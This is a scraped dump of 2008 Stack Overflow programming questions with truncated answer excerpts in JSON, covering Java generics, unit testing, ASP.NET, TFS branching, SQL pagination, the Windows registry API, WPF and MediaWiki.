entries.size()) ); } } class Contract { } // business object class ObjectManager { static Set&lt;?&gt; getEntrySet(String className) { if (className.equals("Contract")) return new HashSet&lt;Contract&gt;(); return null; // Error } } </code></pre> <p>Thanks.</p> <p><hr> <strong>Update:</strong> Using the type-safe method <code>toArray</code>, taken from <a href="http://codeidol.com/java/javagenerics/Reification/The-Principle-of-Truth-in-Advertising/" rel="nofollow noreferrer">CodeIdol</a>, I updated my <code>fetchObjects</code> method thus:</p> <pre><code>static Contract[] fetchObjects(String className) throws ClassNotFoundException { Class&lt;?&gt; entriesType = Class.forName("xx.testcode."+className); Set&lt;?&gt; entries = ObjectManager.getEntrySet(className); return toArray(entries, entriesType); // compile error // -&gt; "method not applicable for (Set&lt;capture#3-of ?&gt;, Class&lt;capture#4-of ?&gt;)" } public static &lt;T&gt; T[] toArray(Collection&lt;T&gt; c, Class&lt;T&gt; k) { T[] a = (T[]) java.lang.reflect.Array.newInstance(k, c.size()); int i = 0; for (T x : c) a[i++] = x; return a; } </code></pre> <p>What do I need to do to get rid of the compiler error quoted in the comment? Do I absolutely have to specify <code>Set&lt;Contract&gt;</code> in the return type of my <code>getEntrySet</code> method so that this can work? Thanks for any pointers.</p>
[ { "answer_id": 380972, "author": "Dennis C", "author_id": 40214, "author_profile": "https://Stackoverflow.com/users/40214", "pm_score": 4, "selected": true, "text": " static <T extends Contract> T[] buildArray(Class<T> clazz){\n ArrayList<T> l=new ArrayList<T>();\n return l.toA...
2008/12/19
[ "https://Stackoverflow.com/questions/380952", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45018/" ]
380,962
<p>I am new to unittesting and currently have a problem with finding a decent way to test methods that contain branches. </p> <p>I created a small demo method I hope could be used to explain the problem.</p> <pre><code>public void ExportAccounts() { int emptyAccounts = 0; int nonEmptyAccounts = 0; int errorous = 0; string outputPath = this.GetOutputPath(); Account[] accounts = this.MyWebserviceAdapter.GetAccounts(); foreach(Account account in accounts) { try { if(account.Amount &gt; 0) { this.ExportNonEmpty(outputPath, account); nonEmptyAccounts++; } else { this.ExportEmptyAccount(outputPath, account); emptyAccounts++; } } catch(Exception e) { logger.error(e); errorous++; } } logger.debug(string.Format("{0} empty / {1} non empty / {2} errorous", emptyAccounts, nonEmptyAccounts, errorous)); } </code></pre> <p>I can mock MyWebserviceAdapter to return a predefined list of accounts. Should I input a list of accounts that are empty and nonempty in the same test or should I have separate tests?</p> <p>Also my ExportNonEmpty() and ExportEmpty() methods are private but do write files to the filesystem. Should I supply a mock FileProvider so that the filesystem is not being touched?</p> <p>Should I expose ExportNonEmpty() and ExportEmpty() to be able to test those separately? Those methods also contain a few if-then-else statements and can throw exceptions and whatnot.</p> <p>I find if I create a test for every codepath I have copy code from one test to another - generating mocks etc. .. isnt that a bit odd?</p> <p>Should I expose the counter variables as out variables to be able to verify them after calling the method?</p> <p>this.GetOUtputPath() fetches values from the configuration file through ConfigurationManager which is static. Should I a) mock this out either by creating a partial mock for the class under testt and overwrite the GetOutputPath method or b) Create my own ConfigurationAdapter that can be mocked out?</p> <p>I am using nunit and Rhino Mocks.</p>
[ { "answer_id": 380972, "author": "Dennis C", "author_id": 40214, "author_profile": "https://Stackoverflow.com/users/40214", "pm_score": 4, "selected": true, "text": " static <T extends Contract> T[] buildArray(Class<T> clazz){\n ArrayList<T> l=new ArrayList<T>();\n return l.toA...
2008/12/19
[ "https://Stackoverflow.com/questions/380962", "https://Stackoverflow.com", "https://Stackoverflow.com/users/32313/" ]
381,016
<p>am having trouble with visible attribute of an asp.net panel. Basically I have a page that calls a database table and returns the results in a detailsview. However, some of the values that are returned are null and if so I need to hide the image thats next to it. </p> <p>I am using a panel to determine whether to hide or show the image but am having trouble with the statement:</p> <p>visible='&lt;%# Eval("addr1") &lt;> DBNull.Value %>'</p> <p>I have tried these as well:</p> <p>visible='&lt;%# Eval("addr1") &lt;> DBNull.Value %>' </p> <p>visible='&lt;%# IIf(Eval("addr1") Is DbNull.Value, "False","True") %>'</p> <p>When I use these I get the error:</p> <p>Compiler Error Message: CS1026: ) expected</p> <p>Any help on what the syntax should be would be great.</p> <p>Thanks</p>
[ { "answer_id": 381035, "author": "Greg Dean", "author_id": 1200558, "author_profile": "https://Stackoverflow.com/users/1200558", "pm_score": 2, "selected": false, "text": "> visible='<%# GetIsVisible(Eval(\"addr1\")) %>'\n > visible='<%# Eval(\"addr1\") <> DBNull.Value %>'\n > visible='...
2008/12/19
[ "https://Stackoverflow.com/questions/381016", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
381,020
<p>I have been working on standardizing the source control structure for our Team Foundation Server rollout for the new year. I have started by using the <a href="http://www.codeplex.com/BranchingGuidance" rel="noreferrer">Microsoft Team Foundation Server Branching Guidance</a> documentation available on CodePlex.</p> <p>I was hoping to get some feedback and answers to a few of the specific questions I have about the proposed structure. When it comes to structuring source control in TFS, I have learned that there are so many "standards" to choose from that there is not really a standard.</p> <p>First, I will outline and describe the decisions and usage.</p> <pre><code>$/ {Team Project}/ {Subproject}/ Development/ Trunk/ Source/ Tests/ Sandcastle/ TeamBuildTypes/ {Build Name}/ Branches/ {Branch Name}/ Source/ Tests/ Sandcastle/ TeamBuildTypes/ {Build Name}/ Integration/ Source/ Tests/ Sandcastle/ TeamBuildTypes/ {Build Name}/ Production/ Releases/ {Release Version}/ Source/ Tests/ Sandcastle/ TeamBuildTypes/ {Build Name}/ Branches/ {Branch Name}/ Source/ Tests/ Sandcastle/ TeamBuildTypes/ {Build Name}/ </code></pre> <p>The general logic is that a Team Project can contain either a single logical project (where there would be no <code>{Subproject}</code> entry) or multiple related projects in the form of a product or tool suite. The three major containers are called <code>Development</code>, <code>Integration</code>, and <code>Production</code>.</p> <p>Within the <code>Development</code> container's Trunk, there are provisions for both the projects which make up the product in the <code>Source</code> folder, with corresponding unit tests available in the <code>Tests</code> folder. A majority of minor development would occur in the trunk, with branching available through the <code>Trunk</code> folder's sibling <code>Branches</code> folder, which acts as a branching container. One or more solution files would live within the <code>Trunk</code>, allowing for branches at that level to capture the solution, source, and unit tests.</p> <p>The <code>Integration</code> container, often called "main" in non-TFS implementation, is solely used to integrate Changesets from <code>Development</code> to create a stable and testable build. It is initially created as a branch from the <code>Development</code> container once a testable product has been attained. The builds from this container will be used for our testing environment and load testing environment. We choose to include load testing with testable builds so that we can monitor for changes in performance, being able to rapidly isolate Changesets that may have contributed to any irregularities.</p> <p><code>Production</code> is used to produce pre-production and production quality builds. It is initially created as a branch from the <code>Integration</code> container once a stable build has been recommended for release. Within the <code>Releases</code> folder, a "branch by release" structure is followed, providing snapshotting and isolation in a single place. (For example, when <code>Release 1.1</code> is ready for a pre-production build, the stable <code>Integration</code> container is branched into a new <code>Release 1.1</code> folder in the <code>Production/Releases</code> structure. Subsequent RCs and RTWs/RTMs are promoted into this folder, as well.) A branching structure is also present, as seen in the <code>Branches</code> container. This allows for "hotfixes", usually a revision marker (Major.Minor.Revision). The branch is created from the current release and merged back into the new revision marker - like <code>Release 1.1.1</code>. The Changeset would be reverse integrated to the <code>Development</code> container's <code>Trunk</code> upon acceptance.</p> <p>We feel that this structure is a fair balance between robustness and complexity. But there are a few nagging questions that I can not logically fit into the model. They are:</p> <p><strong>Team Build</strong> - The <code>Development</code> and <code>Integration</code> containers will initially start out as being nightly builds, eventually moving to Continuous Integration (CI). The Production container will be manually built.</p> <ul> <li><p><del>Where should the build definitions live?</del> <strong>Edit - Based upon a couple of responses, the TeamBuildTypes folder has been moved to the trunk and branched to the appropriate containers. This does, however, lead to a new question (follows).</strong></p></li> <li><p>By having the TeamBuildTypes folder in their appropriate containers, does that mean that all build definitions will be reproduced between the appropriate folders? For example, having a build definition for development quality builds, as well as testable builds, etc. all living in all TeamBuildType folders throughout the structure.</p></li> </ul> <p><strong>Documentation Generation</strong> - We use Sandcastle to generate documentation. Specifically, we also use <a href="http://www.codeplex.com/SHFB" rel="noreferrer">Sandcastle Help File Builder</a> to manage the output. This produces a project file in a format specific to SFHB.</p> <ul> <li><p>Should generated documentation be stored in the source control structure?</p></li> <li><p>Should documentation be generated for each container, or does it only posses value for pre-production and production quality builds?</p></li> <li><p>To preserve fast local build times, should documentation creation be owned by a build definition?</p></li> <li><p><del>Where should the SHFB-specific files live? My initial inkling is to put it as a peer to the <code>Source</code> and <code>Tests</code> folders.</del> <strong><em>I agree with the recommondations that it be a peer to <code>Source</code> and <code>Tests</code>. Diagram changed to reflect this change.</em></strong></p></li> </ul> <p><strong>Third Party Binaries</strong></p> <ul> <li><p>Should binaries (controls, libraries, etc.) be stored in source control?</p></li> <li><p>If so, should it be it's own Team Project?</p></li> </ul> <p><strong>General Documentation</strong> - Non-generated documentation, such as requirements, design documents, test plans, etc. are not going to be reflected by a folder in the source control structure. After some research and discussion with my developers and peers, using the built-in Documents folder in Team Explorer provides more benefit, since it mirrors the structure within the Team Project Portal and some (business) users do not need the additional complexity of learning the source control aspect of TFS.</p> <hr> <p>I will update the structure as I get answers to the questions to provide a clearer picture. I also welcome any other comments related to potential changes. If I have any other questions, I will make sure to modify this post.</p> <p><strong>Edits:</strong></p> <ul> <li><p><strong>Clarification. <code>Source</code> and <code>Tests</code> folders do live under the <code>Integration</code> container, as well.</strong></p></li> <li><p><strong>Both Micah and Josh brought up great points regarding third party binaries. Question added regarding the issue.</strong></p></li> <li><p><strong>Documentation generation can be slow. Question added regarding whether documentation creation should be owned by a specific Team Build Type.</strong></p></li> <li><p><strong>Added resolution related to non-generated documentation, such as requirements, design documents, test plans, etc.</strong></p></li> <li><p><strong>Added resolution related to TeamBuildTypes folder for build defintions.</strong></p></li> <li><p><strong>Based upon various feedback, moved the TeamBuildTypes folder to the trunk / branch levels.</strong></p></li> </ul>
[ { "answer_id": 381058, "author": "Micah", "author_id": 17744, "author_profile": "https://Stackoverflow.com/users/17744", "pm_score": 2, "selected": false, "text": "Development/\n Trunk/\n Binaries/ -- Shared libraries\n Source/\n Test/\n Docs/ -- Documentation...
2008/12/19
[ "https://Stackoverflow.com/questions/381020", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15906/" ]
381,037
<p>I was reading the Math.random() javadoc and saw that random is only psuedorandom. </p> <p>Is there a library (specifically java) that generates random numbers according to random variables like environmental temperature, CPU temperature/voltage, or anything like that?</p>
[ { "answer_id": 381046, "author": "Joachim Sauer", "author_id": 40342, "author_profile": "https://Stackoverflow.com/users/40342", "pm_score": 3, "selected": false, "text": "/dev/random" }, { "answer_id": 381570, "author": "Ken Gentle", "author_id": 8709, "author_profil...
2008/12/19
[ "https://Stackoverflow.com/questions/381037", "https://Stackoverflow.com", "https://Stackoverflow.com/users/47690/" ]
381,049
<p>From a <a href="https://stackoverflow.com/questions/29040/linq-to-sql-can-i-eager-load-only-one-field-in-a-joined-table">previous question</a>, I learn that Linq to SQL is not able to eager load only certain files of foreingKey tables.</p> <p>So I'm asking what .net ORM can support including this type of statement inside a entity class, with only one DB call and without manually mapping the result with the object.</p> <pre><code> -- simplified for clarity SELECT Order.*, Product.Name, Customer.Name, OrderType.Name, Provider.Name FROM Order INNER JOIN Product on Order.ProductID = Product.ProductID INNER JOIN Customer on Order.CustomerID = Customer.CustomerID INNER JOIN OrderType on Order.OrderTypeID = OrderType.OrderTypeID INNER JOIN Provider on Order.ProviderID = Provider.ProviderID </code></pre> <p>I want to keep it as simple as possible (trying to avoid NHibernate and such)</p>
[ { "answer_id": 381084, "author": "Marc Gravell", "author_id": 23354, "author_profile": "https://Stackoverflow.com/users/23354", "pm_score": 3, "selected": true, "text": "select new {Order = order, ProductName = order.Product.Name,\n CustomerName = order.Customer.Name,\n ...
2008/12/19
[ "https://Stackoverflow.com/questions/381049", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2385/" ]
381,055
<p>I'm trying to save the contents of a particular registry key to a file using the RegSaveKey() API:</p> <pre><code>HKEY key; LRESULT result = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"Software\\MyProduct", 0, KEY_ACCESS_ALL, &amp;key); result = RegSaveKey(key, L"c:\\temp\\saved.reg", NULL); </code></pre> <p>However, RegSaveKey() is returning <code>ERROR_PRIVILEGE_NOT_HELD</code>. The SDK documentation says that "The calling process must have the <code>SE_BACKUP_NAME</code> privilege enabled". The process is running as either a local administrator or as a service.</p> <p>Any ideas?</p>
[ { "answer_id": 382039, "author": "reuben", "author_id": 41646, "author_profile": "https://Stackoverflow.com/users/41646", "pm_score": 3, "selected": false, "text": "HANDLE ProcessToken;\n\nif (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &ProcessToken)) {\...
2008/12/19
[ "https://Stackoverflow.com/questions/381055", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2459/" ]
381,063
<p>I need fire a filter method with all string in GET or POST value from http request before it was bind into controller action</p> <p>Can i do it in Global.asax.cs? and if yes, can u give me more details or example (great) about this?</p>
[ { "answer_id": 404289, "author": "Haacked", "author_id": 598, "author_profile": "https://Stackoverflow.com/users/598", "pm_score": 2, "selected": false, "text": "protected void Application_BeginRequest(object sender, EventArgs e) {\n //Look at HttpContext.Current.Request to grab reques...
2008/12/19
[ "https://Stackoverflow.com/questions/381063", "https://Stackoverflow.com", "https://Stackoverflow.com/users/44533/" ]
381,066
<p>In a project we have text files looking like this:</p> <pre><code>mv A, R3 mv R2, B mv R1, R3 mv B, R4 add A, R1 add B, R1 add R1, R2 add R3, R3 add R21, X add R12, Y mv X, R2 </code></pre> <p>I need to replace the strings according to the following, but I am looking for a more general solution.</p> <pre><code>R1 =&gt; R2 R2 =&gt; R3 R3 =&gt; R1 R12 =&gt; R21 R21 =&gt; R12 </code></pre> <p>I know I could do it in Perl, the replace() function in the following code, but the real application is written in Java, so the solution needs to be in Java as well. </p> <pre><code>#!/usr/bin/perl use strict; use warnings; use File::Slurp qw(read_file write_file); my %map = ( R1 =&gt; 'R2', R2 =&gt; 'R3', R3 =&gt; 'R1', R12 =&gt; 'R21', R21 =&gt; 'R12', ); replace(\%map, \@ARGV); sub replace { my ($map, $files) = @_; # Create R12|R21|R1|R2|R3 # making sure R12 is before R1 my $regex = join "|", sort { length($b) &lt;=&gt; length($a) } keys %$map; my $ts = time; foreach my $file (@$files) { my $data = read_file($file); $data =~ s/\b($regex)\b/$map{$1}/g; rename $file, "$file.$ts"; # backup with current timestamp write_file( $file, $data); } } </code></pre> <p>Your help for the Java implementation would be appreciated.</p>
[ { "answer_id": 381080, "author": "kgiannakakis", "author_id": 24054, "author_profile": "https://Stackoverflow.com/users/24054", "pm_score": -1, "selected": false, "text": "Map<String, String> map = new HashMap<String, String>();\nmap.put(\"R1\", \"R2\");\nmap.put(\"R2\", \"R3\");\n\nfor(...
2008/12/19
[ "https://Stackoverflow.com/questions/381066", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11827/" ]
381,070
<p>I need help with the best practice to localize asp mvc apps, I saw Oxite having a base method named Localize in the BaseController, but is the Localization a task for the view or the Controller? Or should I use resx files / or use db tables?</p>
[ { "answer_id": 381334, "author": "Ihar Voitka", "author_id": 46313, "author_profile": "https://Stackoverflow.com/users/46313", "pm_score": 5, "selected": true, "text": "<%= Html.Resource(\"Name\") %>" }, { "answer_id": 12936708, "author": "kbvishnu", "author_id": 438624, ...
2008/12/19
[ "https://Stackoverflow.com/questions/381070", "https://Stackoverflow.com", "https://Stackoverflow.com/users/25240/" ]
381,072
<p>DataGridView.CellContentClick is not firing if I mouse click a DataGridViewCheckBoxCell very fast. How can I solve this? I need to know when CheckBox's check state changes</p>
[ { "answer_id": 381130, "author": "BFree", "author_id": 15861, "author_profile": "https://Stackoverflow.com/users/15861", "pm_score": 3, "selected": false, "text": "bool b = (bool)this.dataGridView1.Rows[e.RowIndex].Cells[e.ColumnIndex].Value;\nthis.dataGridView1.Rows[e.RowIndex].Cells[e....
2008/12/19
[ "https://Stackoverflow.com/questions/381072", "https://Stackoverflow.com", "https://Stackoverflow.com/users/45624/" ]
381,077
<p>I've just added one of the new (MFC Feature Pack) CVSListBox controls to a project. The list of items in the control is tracked by some other objects in my application, so I need to take lots of notifications from the list-box when anything changes so that I can update other stuff. For those that don't know the control, there is a button bar which offers basic add/delete/reorder functionality.</p> <p>The CVSListBox control offers overridable virtual functions for things like adding or renaming items, and changing their order - all this works nicely.</p> <p>However, for deleting items, the only override is OnBeforeRemoveItem, which is called BEFORE an item is removed, and from which one has to return TRUE/FALSE to permit the remove. Once the remove has occurred, there's no specific notification.</p> <p>What's the best way to get notification AFTER a remove?</p> <p>Obviously it's possible to hack something horrible here, in that there will be a selection-changed event after a remove, and it would be possible to hold a flag from the before-remove to say that the next selection-changed is special. But I feel like I'm missing something cleaner and more obvious. Any suggestions?</p>
[ { "answer_id": 12028602, "author": "Albertino80", "author_id": 554499, "author_profile": "https://Stackoverflow.com/users/554499", "pm_score": 0, "selected": false, "text": "class my_lbox : public CVSListBox\n{\n protected:\n\n BOOL OnBeforeRemoveItem(int what_item)\n {\...
2008/12/19
[ "https://Stackoverflow.com/questions/381077", "https://Stackoverflow.com", "https://Stackoverflow.com/users/987/" ]
381,088
<p>We host a rather large (self written) ASP.NET website for our customers. It consists of a web service, a web site and a image serving web site, all three in their own virtual directory. The three virtual directories are together in one application pool. The pool has both memory limits (maximum virtual memory and maximum used memory) set to 500 megabytes.</p> <p>However, the application pool suffers many recycles, even with only one user at a time. The eventlog message says:</p> <blockquote> <p>A worker process with process id of 'xxxx' serving application pool 'xxxx' has requested a recycle because it reached its virtual memory limit.</p> </blockquote> <p>However, observing the worker process with Process Explorer shows nothing that supports this message. Which counters should I watch to observe the memory that is in fact limited by both settings?</p> <p><strong>Update 1</strong></p> <p>Observing the process in Task Manager shows a 'mem usage' and 'vm size' of around 100 MB, still the process is recycled with the above message. 5 GB physical memory available on the server...</p> <p><strong>Update 2</strong></p> <p>Although the web site is rather large, the problem concentrates in a small portion of the application. It executes a query (using Oracle) and binds the results to a gridview and repeater webcontrol. The results consists of a short description and an icon (loaded through the image serving web site). If I execute 10 search actions after each other, each giving 9 results, the work process shows mem usage and vm size of around 100 MB and recycles...</p> <p><strong>Update 3</strong> Switching of the usage of the image serving web site does not result in better results. So I think it is fair to say that the problem is something else.</p>
[ { "answer_id": 381124, "author": "Andrew Rollings", "author_id": 40410, "author_profile": "https://Stackoverflow.com/users/40410", "pm_score": 2, "selected": false, "text": "Dispose()" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/381088", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5043/" ]
381,100
<p>I'm using a bookmarklet that inserts a script tag into the current web page.</p> <p>This script has some UI and an "<code>input type=submit....</code>" tag in it.</p> <p>Web page A has chosen not to style "<code>input type=submit..</code>" tags whereas web page B has styled them.</p> <p>This results in the bookmarklet displaying differently styled submit buttons based on the underlying page's style.</p> <p>I want the submit buttons to be styled identically on all web pages in <strong>its default manner</strong>.</p> <p>One solution is to set the CSS style for the submit button within my script so it shows up identically on all pages. (This is what I have done for all other tags).</p> <p>My question is: </p> <ol> <li>How do I set the CSS style for the submit button so it displays in a 'default manner' or ? </li> <li>Can one remove existing styling, and, if so, how for the button so that it displays in the 'default manner'?</li> </ol> <p>In other words, how can I have the submit buttons within the UI of my bookmarklet be displayed in the 'default manner' regardless of whether the underlying web page has chosen to style it or not?</p> <blockquote> <p>Note: By 'default manner' I mean the way the submit button is displayed when no styling is added to it. For example the 'Google search' or 'I'm feeling lucky' buttons on <a href="http://www.google.com" rel="nofollow noreferrer">http://www.google.com</a>.</p> </blockquote>
[ { "answer_id": 381135, "author": "Martijn Laarman", "author_id": 47020, "author_profile": "https://Stackoverflow.com/users/47020", "pm_score": 3, "selected": false, "text": "background-color:grey !important;\n background:grey;\n" }, { "answer_id": 1140512, "author": "Communit...
2008/12/19
[ "https://Stackoverflow.com/questions/381100", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
381,134
<p>How can I test my website in multiple versions of firefox? I have v2 installed. Now no matter where or how many times I install FF3, it always executes ff2..</p> <p>I checked the interweb and it seems there used to be a MultiFireFox tool that could run several versions. It was for apple and I'm on windows. Furthermore all the links to it are dead.<br> I also found an option I could add to the executable. But since I cannot start FF3 to begin with, I reckon this doesn't make much sence.</p> <p>Something like <a href="http://tredosoft.com/Multiple_IE" rel="nofollow noreferrer">MultipleIE</a> would be great. Suggestions?</p>
[ { "answer_id": 381159, "author": "Joachim Sauer", "author_id": 40342, "author_profile": "https://Stackoverflow.com/users/40342", "pm_score": 2, "selected": false, "text": "-no-remote -P" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/381134", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11333/" ]
381,138
<p>I'm trying to come up with a way to determine how "hot" certain threads are in a forum. What criteria would you use and why? How would these come together to give a hotness score?</p> <p>The criteria I'm thinking of include:</p> <ul> <li>how many replies</li> <li>how long since the last reply</li> <li>average time between replies</li> </ul> <p>The problems this algorithm must solve:</p> <ul> <li>A thread which has 500 replies is clearly hot, unless the last reply was over a year ago.</li> <li>A thread with 500 replies that was replied to a second ago is clearly hot, unless it's taken 4 years to reach 500 replies.</li> <li>A thread with 15 replies in the last 4 minutes is really hot!</li> </ul> <p>Any ideas, thoughts or complete solutions out there?</p>
[ { "answer_id": 381418, "author": "nickf", "author_id": 9021, "author_profile": "https://Stackoverflow.com/users/9021", "pm_score": 0, "selected": false, "text": "log10($numOfReplies * 20000 / pow($timeSinceLastPost, 1.3))\n" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/381138", "https://Stackoverflow.com", "https://Stackoverflow.com/users/9021/" ]
381,145
<p>I'm trying to select more than 80,000 record in SQL Server in a table that has millions of records. The issue is that I've the correct Index, but it takes more than 15 minutes to return the recordset.</p> <p>I'm using MS SQL Server 2000, I found a pagination method using stored procedures but it uses a temporal table that I have to insert the entire Result Set and then select the quantity of record I'm going to show per page. This method takes too long.</p> <p>Any help for a faster way that I can implement ?</p>
[ { "answer_id": 381328, "author": "Charles Bretana", "author_id": 32632, "author_profile": "https://Stackoverflow.com/users/32632", "pm_score": 4, "selected": true, "text": "Create Procedure GetPagedData\n@Page Integer = 1,\n@PageSize Integer = 100,\n@UsersFilteringCOnditions,\n@UsersSort...
2008/12/19
[ "https://Stackoverflow.com/questions/381145", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
381,157
<pre><code> $rowfetch =~ s/['-]//g; #All chars inside the [ ] will be filtered out. $rowfetch =~ m/(\w+), ?(.)/; printf $fh lc($2.$1); </code></pre> <p>I got help building this regular expression yesterday, but I don't fully understand it.<br><br>It takes a name like Parisi, Kenneth and prints out kparisi<BR><BR>Knowns:<br>s/ = substitute<br>m/ = match<br><br><br>I tried searching for the rest but couldn't find anything that really helped explain it.<br><br>I also didn't understand how the =~ is supposed to evaluate to either true or false, yet in this situation, it is modifying the string.<br></p>
[ { "answer_id": 381175, "author": "Ed Guiness", "author_id": 4200, "author_profile": "https://Stackoverflow.com/users/4200", "pm_score": 5, "selected": false, "text": "YAPE::Regex::Explain C:\\>perl -e \"use YAPE::Regex::Explain;print YAPE::Regex::Explain->new(qr/['-])->explain;\"\nThe re...
2008/12/19
[ "https://Stackoverflow.com/questions/381157", "https://Stackoverflow.com", "https://Stackoverflow.com/users/42229/" ]
381,161
<p>I have just installed boost for the first time on my Intel Mac, and it works fine in general, as long as I use only boost's header files.</p> <p>But when I try to use a lib, in my case the regex lib, my app links and launches fine, but then it soon crashes in a regex related destructor.</p> <p>This even happens with the simple test program that's given on <a href="http://www.boost.org/doc/libs/1_37_0/more/getting_started/unix-variants.html#link-your-program-to-a-boost-library" rel="nofollow noreferrer">boost.org's unix install page </a>.</p> <p>I wonder if I need to set special compile/link options (I've used the defaults for a C++ Tool) other than setting the search paths and including the regex lib, of course?</p> <p>(BTW, I have verified that the default compiler on my system is indeed gcc 4.01, which is the same my test project in XCode uses)</p>
[ { "answer_id": 381175, "author": "Ed Guiness", "author_id": 4200, "author_profile": "https://Stackoverflow.com/users/4200", "pm_score": 5, "selected": false, "text": "YAPE::Regex::Explain C:\\>perl -e \"use YAPE::Regex::Explain;print YAPE::Regex::Explain->new(qr/['-])->explain;\"\nThe re...
2008/12/19
[ "https://Stackoverflow.com/questions/381161", "https://Stackoverflow.com", "https://Stackoverflow.com/users/43615/" ]
381,164
<p>I see in a header that I didn't write myself the following: </p> <pre><code>class MonitorObjectString: public MonitorObject { // some other declarations friend inline bool operator==(MonitorObjectString&amp; lhs, MonitorObjectString&amp; rhs) { return(lhs.fVal==rhs.fVal); } </code></pre> <p>I can't understand why this method is declared as friend. I thought it would make sense if the function is defined in another place and needs to access the internal member of the class, but this is not the case here as it is inline and doesn't even need to have access to the members.</p> <p>What do you think? Is the "friend" useless? </p>
[ { "answer_id": 381183, "author": "pyon", "author_id": 46571, "author_profile": "https://Stackoverflow.com/users/46571", "pm_score": 3, "selected": false, "text": "friend /* friend */ inline bool operator ==(const MonitorObjectString& rhs) const\n{ return fVal == rhs.fVal; }\n fVal" }, ...
2008/12/19
[ "https://Stackoverflow.com/questions/381164", "https://Stackoverflow.com", "https://Stackoverflow.com/users/20986/" ]
381,167
<p>I am big into code generation for the service/data layer of my apps. What I would really love to do is generate some basic WPF Controls, Data Templates, or some other XAML code based on the metadata I use to generate my service/data layer. EDIT: This generation is done before compile time.</p> <p>What I envision is being able to generate a control which has basic controls in it TextBlocks, Labels, Date Pickers, Textboxes, Checkboxes, etc based on types of my data.</p> <p>The big thing I am missing is to somehow never touch that generated XAML code and control the layout completely outside of it. In the web world I could technically do this by generating "semantic" html and then using CSS selectors to select nodes and position them. With CSS/HTML I could completely change the layout and never touch the generated html.</p> <p>Is there someway in WPF to control layout of a Control or Data Template from outside of that code? (Selectors, Visual Inheritance, etc?)</p> <p>Thanks! Jon</p>
[ { "answer_id": 771071, "author": "Sauron", "author_id": 88096, "author_profile": "https://Stackoverflow.com/users/88096", "pm_score": 2, "selected": false, "text": "Grid.SetColumn( UIElement, value ) Grid.SetRow( UIElement, value )" } ]
2008/12/19
[ "https://Stackoverflow.com/questions/381167", "https://Stackoverflow.com", "https://Stackoverflow.com/users/47752/" ]
381,169
<h1>Problem</h1> <p>At work we have a department wiki (running <a href="http://www.mediawiki.org/" rel="noreferrer">Mediawiki</a>). Unfortunately several persons edit without logging in, and that makes it very difficult to track down editors to ask questions about the content.</p> <p>There are two strategies to improve this</p> <ul> <li>encourage logged in editing</li> <li>discourage anonymous editing.</li> </ul> <h2>Encouraging</h2> <p>For this part, any tips are welcome. But of course there is always risks involved in <a href="http://dilbert.com/strips/comic/1995-11-13/" rel="noreferrer">rewarding behaviours</a>.</p> <h2>Discourage</h2> <p>I know that this must be kept low or else it will discourage any editing. But something just slightly annoying would be nice to have.</p> <p>[update] I know it is possible to just disallow anonymous editing, but that will put a high barrier to any first time contribution (especially for people outside our department!), so I do not think that is an option. [/update]</p> <p>[update2] Using LDAP or Active Directory does not solve the problem since the wiki is also accessible and used by external contractors. [/update2]</p> <p>[update3] I am no longer working for this company. That does not mean that I completely have lost interest in this question, but from my current interest point the most valuable part is the "Did you forget to log in?" part below, and I will accept answers based on this part of the question. [/update3]</p> <h3>Confirmation</h3> <p>One thought was to have an additional confirmation step for anonymous users - "Are you really sure you want to submit this anonymously?", although with such a question there is a risk that people will give up or resist editing. However, if that question is re-phrased in a more diplomatic way as "Did you forget to log in?" I think it will appear as much more acceptable. And besides that will also capture those situations where the author did in fact forget to log in, but actually would want to have his/her contributions credited his/her user. This last point is by itself a good enough reason for wanting it.</p> <p>Is this possible?</p> <h3>Delay</h3> <p>Another thought for something to be slightly annoying is to add an extra forced delay after "save page" displaying something like "If you had logged in you would not have to wait x seconds". Selecting a right x is difficult because if it is to high it will be a barrier and if it too low might not make any difference. But then I started thinking, what about starting at zero and then add one second delay for each anonymous edit by a given IP address in a given time frame? That way there will be no barrier for starting to use the wiki, and by the time the delay is getting significant the user has already contributed a lot so I think the outcome is much more likely to be that the editor eventually creates a user rather than giving up. This assumes IP addresses are rather static, but that is very typically is the case in a business network.</p> <p>Is this possible?</p>
[ { "answer_id": 381194, "author": "George Stocker", "author_id": 16587, "author_profile": "https://Stackoverflow.com/users/16587", "pm_score": 4, "selected": false, "text": "$wgDisableAnonEdit = true;\n $fname-edit wfProfileIn() wfProfileOut() wfProfileIn( \"$fname-edit\" );\n glob...
2008/12/19
[ "https://Stackoverflow.com/questions/381169", "https://Stackoverflow.com", "https://Stackoverflow.com/users/23118/" ]
381,171
